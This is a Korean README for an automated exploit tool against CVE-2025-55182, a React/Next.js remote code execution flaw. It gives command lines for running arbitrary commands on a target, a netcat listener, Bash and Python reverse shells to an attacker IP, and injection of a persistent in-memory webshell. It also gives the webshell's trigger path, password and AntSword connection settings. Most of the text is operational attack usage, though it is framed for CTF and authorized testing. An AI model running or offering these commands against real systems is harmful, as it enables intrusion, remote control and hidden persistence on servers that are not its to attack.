
CVE-2025-55182(React/Next.js RCE)를 위한 자동화된 익스플로잇 도구로, 명령 실행, 아웃바운드 탐지, 대화형 리버스 셸, 그리고 승인된 침투 테스트 및 CTF 챌린지를 위한 영구 메모리 웹쉘 인젝션 기능을 제공합니다.
저자: lamaper / BITs2Sys
버전: 1.0.1
라이선스: MIT
이 도구는 CVE-2025-55182 (React Server Components / Next.js 프로토타입 체인 오염으로 인한 RCE)를 대상으로 한 자동화 침투 테스트 도구입니다. CTF 대회 및 승인된 보안 서비스 프로젝트를 위해 설계되었으며, 취약점 검증, 외부 네트워크 탐지, 리버스 셸, 메모리 웹쉘 주입 등의 기능을 통합하고 있습니다.
--cmd):NEXT_REDIRECT 예외 메커니즘을 활용하여 Base64로 인코딩된 명령 실행 결과를 정확히 반환합니다.--check-outbound):대상 시스템의 DNS, HTTP, ICMP 접근 능력을 자동으로 테스트하여 공격 경로 결정을 지원합니다.--shell):Bash 및 Python3 두 가지 리버스 모드를 내장하고 있으며, 비동기 실행을 지원하여 HTTP 요청이 중단되지 않도록 합니다.--inject-ms):Node.js http.Server 이벤트 디스패치 메커니즘을 가로채 메모리 웹쉘을 주입하며, 파일 잔여물 없이 지속적인 제어를 지원합니다.--ms-cmd):취약점 트리거 경로와 독립적인 상호작용 모드로, 주입 성공 후 직접 백도어를 통해 명령을 실행할 수 있습니다.이 도구는 Python 3 기반으로 개발되었으며, requests 라이브러리만 설치하면 됩니다.
pip install requests
https://github.com/assetnote/react2shell-scanner 는 유용한 탐지 도구입니다.
대상 시스템 정보 직접 획득:
python exploit.py --url http://target.com/ --cmd "id"
python exploit.py --url http://target.com/ --cmd "cat /flag"
리버스 셸을 시도하기 전에 대상 시스템이 외부 네트워크에 연결할 수 있는지 확인합니다:
python exploit.py --url http://target.com/ --check-outbound
Bash 모드:
# 공격기에서 리스닝: nc -lvnp 4444
python exploit.py --url http://target.com/ --shell bash --ip <당신의 IP> --port 4444
Python 모드:
python exploit.py --url http://target.com/ --shell python --ip <당신의 IP> --port 4444
메모리 웹쉘 주입:
python exploit.py --url http://target.com/ --inject-ms
메모리 웹쉘을 통한 명령 실행 (주입 성공 후 사용):
python exploit.py --url http://target.com/ --ms-cmd "whoami"
참고: 메모리 웹쉘의 기본 마운트 경로는 /?pass이며, POST로 pwd 매개변수를 제출하여 트리거합니다.
중국 안트소드(AntSword)를 통한 연결:
연결 비밀번호: pwd, 연결 방식: CMDLINUX
이 도구는 법률이 허용하는 범위 내에서의 보안 연구, CTF 대회 및 승인된 침투 테스트에만 사용됩니다. 불법 공격에 사용하는 것을 금지합니다. 이 도구를 사용하여 발생하는 모든 결과는 사용자가 전적으로 책임집니다.